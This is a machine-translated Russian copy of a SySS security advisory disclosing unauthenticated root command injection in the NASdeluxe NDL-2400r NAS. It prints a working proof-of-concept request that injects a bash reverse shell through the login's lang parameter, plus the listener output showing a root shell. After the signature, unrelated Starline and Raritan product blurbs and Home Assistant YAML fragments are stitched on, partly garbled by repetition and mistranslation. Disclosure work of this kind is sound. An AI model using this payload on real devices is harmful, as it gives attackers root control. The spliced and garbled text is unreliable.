Автор рекомендации: Клаус Эйзентраут, SySS GmbH, https://www.syss.de/advisories/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~

Обзор:

Продукт «NASdeluxe NDL-2400r» [3] уязвим для внедрения команд ОС.
как корень.  Для использования этой уязвимости не требуются учетные данные.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~

Сведения об уязвимости/доказательство концепции:

Параметр языка в запросе на вход в веб-интерфейс продукта
«NASdeluxe NDL-2400r» уязвим для внедрения команд ОС с правами root.
Компания SySS GmbH отправила веб-интерфейсу следующий HTTPS-запрос:

~~~~~
POST /usr/usrgetform.html?name=index HTTP/1.1
Ведущий: 192.168.1.1
Подключение: близко
Content-Type: application/x-www-form-urlencoded
Длина контента: 97

lang=||`bash+-i+>%26+/dev/tcp/192.168.1.2/443+0>%261`&username=&pwd=&site=web_disk&login_btn=Einloggen
~~~~~

После отправки запроса обратный шелл подключился обратно:

~~~~~
#nc -lvvp 443
Прослушивание любого адреса 443 (https)
Подключение с 192.168.1.1:49070
bash: в этой оболочке нет управления заданиями
bash-3.00# кто
корень
bash-3.00# кошка /img/версия
2.01.09~~~~~

Тестируемая версия прошивки была 2.01.09. Самая актуальная версия
2. 01.10 согласно веб-странице производителя [3]. Однако есть
никаких намеков на обновление безопасности в примечаниях к выпуску [4]. Таким образом, ССС
GmbH предполагает, что эта уязвимость, вероятно, также присутствует в большинстве
текущая версия прошивки от 22.10.2009.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~

Решение:

Продукт достиг статуса окончания срока службы (EOL) с тех пор, как более трех
годы. Таким образом, поставщик не будет предоставлять патч.

Настоятельно рекомендуется перейти на одну из более новых и все еще
поддерживаемые решения NAS, которые (по данным Starline Computer GmbH)
не затронуты этой уязвимостью.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~

График раскрытия информации:

2016-06-29: Обнаружена уязвимость
04.07.2016: спросил [email protected] для контактного лица (нет ответа)
22.07.2016: отправил это уведомление на адрес [email protected]
22 июля 2016 г.: ответ поставщика: не будет исправлено (продукт достиг EOL >3 лет)
03. 08.2016: публичное раскрытие

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~

Использованная литература:

[1] SySS GmbH, SYSS-2016-065
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-065.txt
[2] SySS GmbH, Политика ответственного раскрытия информации SySS
    https://www.syss.de/en/news/responsible-disclosure-policy/
[3] Домашняя страница NASDeluxe
    https://www.nasdeluxe.com/
[4] Примечания к версии прошивки NDL-2400R
    https://www.nasdeluxe.com/wp-content/uploads/2008/12/NDL-2400R_NDL-2500T_FWRN_v2_01_10.171.pdf

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~

Кредиты:

Эту уязвимость в системе безопасности обнаружил Клаус Эйзентраут из SySS.
ГмбХ.

Электронная почта: [email protected]
Открытый ключ: https://www.syss.de/fileadmin/dokumente/PGPKeys/Klaus_Eisentraut.asc
Идентификатор ключа: 0xBAC677AE
Отпечаток ключа: Ф5Э8 Э8Э1 А414 4886 0А8Б 0411 ДАБ0 4ДБ5 БАК6 77АЭ

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~

Отказ от ответственности:

Информация, содержащаяся в этом совете по безопасности, предоставляется «как есть». 
и без гарантии любого рода. Подробная информация об этом совете по безопасности может
обновляться, чтобы предоставлять как можно более точную информацию.
Последняя версия этого совета по безопасности доступна на веб-сайте SySS.
сайт.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~

Авторские права:

Creative Commons — Атрибуция (автор) — Версия 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----НАЧАТЬ ПОДПИСЬ PGP-----

iQIcBAEBCgAGBQJXoddNAAoJENqwTbW6xneuMdwQANnc0LC5n+5Hz/jd/C4y6Vo/
V4rTM2ZeKHoinwaNe8wDqwLojVi370xkroe592skBuGaHsACpqVU/+i1uzez4Fd5
zv9FL0O16qeU4ATt0tlTMzBka+3l7+W46JjIt30auKXvb2C7HXlwru58HvMRoDur
5ga48/C2tLAWeogR0hpflXg6xUmTTfZRL1zgEh5/etz8vA0DgwXl7fRQZq7z2fDF
L4oSrQ2oumS+IWH8qAUo/Tvd8al/OSQC+QfLjwxhpwb3n8nRrUaa2gYLuKvSXn3R
Sc8nuR+YuO4c+kXcUO2HQ2mpmSRKITOGOgqDwxiSHitTpGwkJiwh3PwRP45BJxTe
g99ivjeRUKkXlAkNZ3u38OYzSmPcf455fwGANFaBjljJtd5Z+Je9mqL2jnUvB1O1
ERFuyhDr1VKLiM4BQp3/hgqECHQRjiX7jUN0yHA3PWiM55wzHyftAti5K/XKSKTv
tFB19VoC+oJEA1i19uzv7xFscfiPHuRw0coGP2KSVwA2L3bIOLlMwWt/EA/Qzcur
9JIUHX0+kKxJcLb6hthasQ4lIf2Jhjd4aFR+rPcJLL29r7HGOSoQLErXz2QmcePJ
1jKC6O2N2vrmrIZ+JOvWP99v0bIqC/857Xz5p30OUUjx2yLjpP/t5paidh2qlUMs
4mefqh51S76I3EZJpQn3
=V6E3
-----КОНЕЦ ПОДПИСИ PGP-----
             

Монитор критической мощности Starline w m50

• Представляем: Монитор критической мощности Starline

• Проводные и беспроводные опцииДоступно до шести каналов Modbus Протоколы RTU, SNMP Протоколы Telnet и Modbus TCP/IP

• Общая информация: Новейшая версия Starline Critical Монитор Power

  (CPM) сводит к минимуму занимаемую площадь, необходимую для Starline. Вставные блоки Track

  Busway, что позволяет максимально увеличить плотность вставок для установки

  .

  Starline расширяет возможности мониторинга и управления потребляемая мощность

  в дата-центрах с внедрением новейших версия монитора критической мощности

  (CPM). Цена за тысячу показов — это источник дохода мониторинг

  устройство, которое упреждающе отслеживает использование и распределение энергии в среда центра обработки данных

  , позволяющая организациям максимально использовать энергию управление и

  эффективность.

  Расходомер M50

• Почему серия M50?

  Наши клиенты рассказали нам:

  Им нравится функциональность и надежность серии M40

  Уменьшение занимаемой площади Недвижимость Busway — это главное

  Повышение ценовой категории

• Обзор серии M40

  Преимущества серии M40

  Расширенный набор функций Функция измерения уровня доходов

  Мониторинг многоконтурных конфигураций

  Модели с концевой подачей и ответвлениями

  Доступны версии с дисплеем и без дисплея

  Проводная связь Ethernet и последовательная связь

  5 Беспроводной Ethernet (802. 11n)

  Одновременное использование протоколов Modbus и SNMP

  Встроенная веб-страница

  Легкость обновления Обновления прошивки по мере необходимости

• Обзор серии M40

  Серия M40 — доверие

  Внутренний опыт и поддержка Разработка разработки

  Разработка приложений

  Дисплей, точность

  Расширенная функциональная проверка

  Бета-установки

• Обзор серии M40 Интеграция BMS/DCIM серии M40

  Пакеты программного обеспечения для центров обработки данных Norlinx

  FieldView

  Power Hevure

  Modius

  Liebert Sitescan

  Manager Data Center

  Intel DCM

  PDU Software Packages Power IQ от RARITAN

  Servertech

  CPI

  UC Engineering Opport 9000 9053 905 9000

  CPI

  UC Engineerenge. Метры

  Чем отличается эта серия?

  Что это значит для меня?

• M50/V50 Что нового? Серия M50

  Сохранение возможностей мониторинга M40

  Revenue grade metering functionality

  Monitors multi-circuit configurations

  Wired Ethernet and Serial communications

  Wireless Ethernet (802. 11n)

  Use Modbus and SNMP protocols simultaneously

  Integral Webpage

  Firmware updates as needed

  Maintain M40 совместимость

  Бесперебойная связь

  Используются одни и те же файлы прошивки

  M40

  M50

• M50/V50 Что нового?

  Серия M50

  Оптимизация для типичных съемных модулей Уменьшенная ширина занимаемая площадь Увеличенная плотность штекера

  Первый счетчик, подходящий для E12 с 2-полюсным выключателем

  Упрощение для снижения цены Отсутствие опции отображения уменьшает Аппаратные издержки

  Один диапазон напряжения (до 480 В переменного тока) упрощает конструкцию

  M50 по сравнению с V50?

  M50: Монитор на веслах

  V50: Монитор на каждой розетке

  До 4 отдельных устройств

  До 6 трансформаторов тока

  E52 с (2) L630R

  E12 с 2-полюсным выключателем

• M50/V50 Что нового? Конфигурации серии M50

  Мониторы V5x Розетки (типичное применение)

  Мониторы M5x Лопатка

• M50/V50 Что нового?

  Связь серии M50

  Ethernet Modbus TCP

  SNMP

  HTTP/S

  Telnet

  SSH

  BACnet TCP

  Modbus0 RTU

  4 Антенна Wi-Fi (802.

  11n) PIFA

• M50/V50 Что нового? Коммуникации серии M50

  Топология Ethernet с последовательным подключением Требуется двойной Ethernet (M58/V58 или M59/V59)

  Сокращает количество домашних запусков до Ethernet-коммутатора

  Экономит сотни долларов США на каждую цепочку CPM

• M50 Статус и расписание

  Серия M50 Статус испытаний и нормативных требований

  Функциональность Завершено внутреннее квалификационное тестирование аналогично M40

  Бета

  развертывание в 4 странах

  UL

  Active File

  UL Listing, ожидаемый в июле 2015 г.

• M50 Вспомогательные материалы

  Документация

  M40/M50 Руководство пользователя

  M40/M50 Series Quick Start Guides Ethertet (Wired

  M40/M50 Series Guides Ethertet (Wired Ethertet (Wired Etheret Ethertet (Wired Ethertet Ethertet (Wired Ethertet Ethertet (Wired Ethertet Ethertet (Wired Ethertet Ethertet (Wired Etheret Ethertet (Witer а также беспроводная связь)

  Modbus

  BACnet

  Файлы поддержки MIB-файл

  Карта регистров Modbus

  BACnet PICS (Заявление о соответствии реализации протокола)

• Starline CPM также поставляется с простым в установке, удобный веб-интерфейс

  , позволяющий менеджерам центров обработки данных быстро выделять ресурсы и реализовать устройство

  . Варианты подключения для CPM включают как проводные Также доступны Ethernet и

  Modbus, а также дополнительная версия 802.11n Wi-Fi. Новый выпуск

  CPM будет включать четыре версии:

  1. Одинарный Ethernet

  2. Одиночный Ethernet и Wi-Fi

  3. Двойной Ethernet

  4. Двойной Ethernet и Modbus RTU с поддержкой гирляндной цепи Топология Ethernet

  Такая топология с последовательной цепочкой экономит порты сетевого коммутатора внутри объект.

• Мониторы Modbus RTU на трехфазных съемных блоках

• Доступны через международно признанных реселлеров

  За информацией о Starline обращайтесь:

  JPE Jelph Power Equipment Co. Pte Ltd, Wimathrias Attrias

  5 10004 , 435 Orchard Road, Сингапур 238877

  Контакт: Эдвард Хан

  65-9005-8214

  [Электронная почта защищена]

  Mailto: [Электронная почта защищена]

• СПАСИБО

Power IQ®-Raritan

. Программное обеспечение позволяет руководителям центров обработки данных и объектов тщательно отслеживать и эффективно использовать существующую инфраструктуру электропитания центров обработки данных. Карты работоспособности центра обработки данных, аналитика энергопотребления, графики охлаждения и отчеты предупреждают вас о потенциальных проблемах и помогают вам понять нагрузку, тенденции и мощность в режиме реального времени на всех уровнях инфраструктуры. Настраиваемая информационная панель обеспечивает независимое от поставщика представление мощности, состояния окружающей среды и энергопотребления. Получите доступ одним щелчком мыши к питанию стойки, охлаждению, воздушному потоку, событиям и многому другому.

См. интеллектуальные решения для стоек Raritan для мониторинга и предоставления важной информации, необходимой для непрерывной бесперебойной работы.

Основные характеристики

Мониторинг среды

Комплексное решение для управления средой, помогающее выявлять области потенциальных проблем, экономить энергию и поддерживать безопасную среду для вашего ИТ-оборудования. Power IQ работает с интеллектуальными стоечными блоками PDU Raritan PX® и контроллером Smart Rack Controller, универсальным устройством управления датчиками, для поддержки подключаемых датчиков окружающей среды, которые контролируют температуру, влажность, поток воздуха, давление воздуха, утечки, вибрации, и более. Следите за тенденциями, получайте оповещения, экономьте энергию и увеличивайте время безотказной работы.

Управление энергопотреблением

Узнайте, что потребляет энергию на вашем объекте, и найдите способы ее экономии. Power IQ отслеживает и измеряет все энергопотребление на вашем объекте, включая счетчики зданий, ИБП, напольные PDU, RPP, шинопроводы, стоечные PDU, ответвления, датчики окружающей среды и ИТ-устройства. Повышайте температуру в центре обработки данных без риска, рассчитайте уровень PUE Green Grid и реализуйте инициативы в области экологического центра обработки данных и устойчивого развития с помощью отчетов о выставлении счетов.

Управление питанием

Узнайте, сколько энергии вы используете в любой момент, вплоть до отдельных серверов, в сочетании с интеллектуальными блоками PDU PX для установки в стойку с индивидуальными счетчиками розеток. Наше программное обеспечение для мониторинга энергопотребления корпоративного класса прошло боевые испытания в некоторых из крупнейших центров обработки данных в отрасли. Интуитивно понятная, настраиваемая панель мониторинга предоставляет информацию о тенденциях использования энергии и мощности в вашей цепи электропитания, определяет место перебоев в подаче электроэнергии и повышает время безотказной работы центра обработки данных.

Независимое от поставщика управление

Управляйте любым SNMP-измеренным устройством через единый веб-браузер. Поддержка предварительно установлена ​​и протестирована для APC®, Avocent®, BayTech®, Cyber ​​Switching®, Cyclades®, Eaton, Geist, HP®, Knurr®, Liebert, MRV®, NetBotz, Raritan, Rittal®, Server Technology®, Sinetica, Устройства Starline Track Busway, Tripp Lite и UNITE™. Динамические подключаемые модули обеспечивают дополнительную поддержку блоков CRAC других производителей, напольных PDU, напольных ИБП, панелей питания, стоечных ИБП, стоечных PDU и автономных счетчиков.

Дополнительные функции

Централизованное управление блоками распределения питания (PDU) в стойке

Объедините имена, статус опроса, расположение, модели и микропрограммы для всех блоков распределения питания (PDU) в стойке на одном экране и сэкономьте драгоценное время на управление, которое можно выделить для других приоритетов.

Индикатор и диаграмма эффективности использования энергии (PUE)

Просматривайте PUE в режиме реального времени, автоматически собирая данные из каналов здания, ИТ-нагрузок и нагрузок, не связанных с ИТ. Используйте данные для измерения эффективности объекта с течением времени и сравнивайте с другими внутренними и аналогичными центрами обработки данных.

Vendor Agnostic Power Control

Сопоставьте отдельные источники питания серверов с розетками стоечных PDU, чтобы вы могли удаленно включать и выключать питание для увеличения времени безотказной работы, эффективности работы или снижения энергопотребления, а также для продления срока службы батареи при сбое питания.

 'on': true
дневной свет: правда
friendly_name: Дневной свет
значок: «mdi: баланс белого-солнечный»
device_class: дневной свет
 

: запуск атрибута теста при обновлении состояния датчика обновления
  описание: ''
  курок:
  - платформа: шаблон
    value_template: '{{ state_attr(''binary_sensor.updater'', ''самая новая_версия'')
      == "0.103.5" }}'
  условие: []
  действие:
  - сцена: scene.downstairs_lights_on